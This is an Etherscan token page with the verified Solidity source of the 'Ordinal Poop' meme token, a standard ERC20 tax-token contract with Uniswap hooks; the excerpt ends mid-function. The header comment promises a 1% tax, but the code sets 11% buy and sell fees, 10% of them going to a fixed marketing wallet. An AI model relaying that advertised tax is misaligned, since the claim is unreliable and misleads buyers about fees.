ETH Price: $3,610.27 (+9.36%)

Token

Ordinal Poop (oPOOP)
 

Overview

Max Total Supply

1,000,000,000,000,000 oPOOP

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
urmothercunt.eth
Balance
0.807672695272118428 oPOOP

Value
$0.00
0x1028f4509e437b5b00acf278ee4424e752ba0522
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
oPOOP

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-03
*/

/**
💩💩💩💩
💩oPOOP💩
💩💩💩💩

A meme take on all ordinal tokens!

1% auto liquidity tax based community owned meme token

Unleash those memes, spread POOP on all ordinal coins kek!

Pre launch liquidity lock ✔️
Contract Verified ✔️
Renounced ✔️

oPOOP 💩

░░░░░░░░░░░█▀▀░░█░░░░░░
░░░░░░▄▀▀▀▀░░░░░█▄▄░░░░
░░░░░░█░█░░░░░░░░░░▐░░░
░░░░░░▐▐░░░░░░░░░▄░▐░░░
░░░░░░█░░░░░░░░▄▀▀░▐░░░
░░░░▄▀░░░░░░░░▐░▄▄▀░░░░
░░▄▀░░░▐░░░░░█▄▀░▐░░░░░
░░█░░░▐░░░░░░░░▄░█░░░░░
░░░█▄░░▀▄░░░░▄▀▐░█░░░░░
░░░█▐▀▀▀░▀▀▀▀░░▐░█░░░░░
░░▐█▐▄░░▀░░░░░░▐░█▄▄░░
░░░▀▀░▄oPOOP▄░░▐▄▄▄▀░░░

*/

/**
 * SPDX-License-Identifier: MIT
 */
pragma solidity >=0.8.16;
pragma experimental ABIEncoderV2;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)

/* pragma solidity ^0.8.0; */

/* import "../utils/Context.sol"; */

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)

/* pragma solidity ^0.8.0; */

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)

/* pragma solidity ^0.8.0; */

/* import "../IERC20.sol"; */

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)

/* pragma solidity ^0.8.0; */

/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol)

/* pragma solidity ^0.8.0; */

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/* pragma solidity >=0.8.10; */

/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */

contract oPOOP is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;
    address public devWallet;
    address public lpWallet;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    uint256 public percentForLPBurn = 25; // 25 = .25%
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 3600 seconds;
    uint256 public lastLpBurnTime;

    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public launchBlock=0;
    uint256 public lastManualLpBurnTime;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;

    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;

    /******************/

    // exlcude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event marketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event devWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("Ordinal Poop", "oPOOP") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyMarketingFee = 10;
        uint256 _buyLiquidityFee = 1;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 10;
        uint256 _sellLiquidityFee = 1;
        uint256 _sellDevFee = 0;

        uint256 totalSupply = 1000000000000000 * 1e18;

        maxTransactionAmount = (totalSupply) / 50;
        maxWallet = (totalSupply) / 50;
        swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        marketingWallet = address(0x3EF2A931305c76CCEc0BA78796Cdd2920C5891c4); 
        devWallet = address(0x3EF2A931305c76CCEc0BA78796Cdd2920C5891c4);
        lpWallet = msg.sender;

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(marketingWallet, true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(marketingWallet, true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool) {
        transferDelayEnabled = false;
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
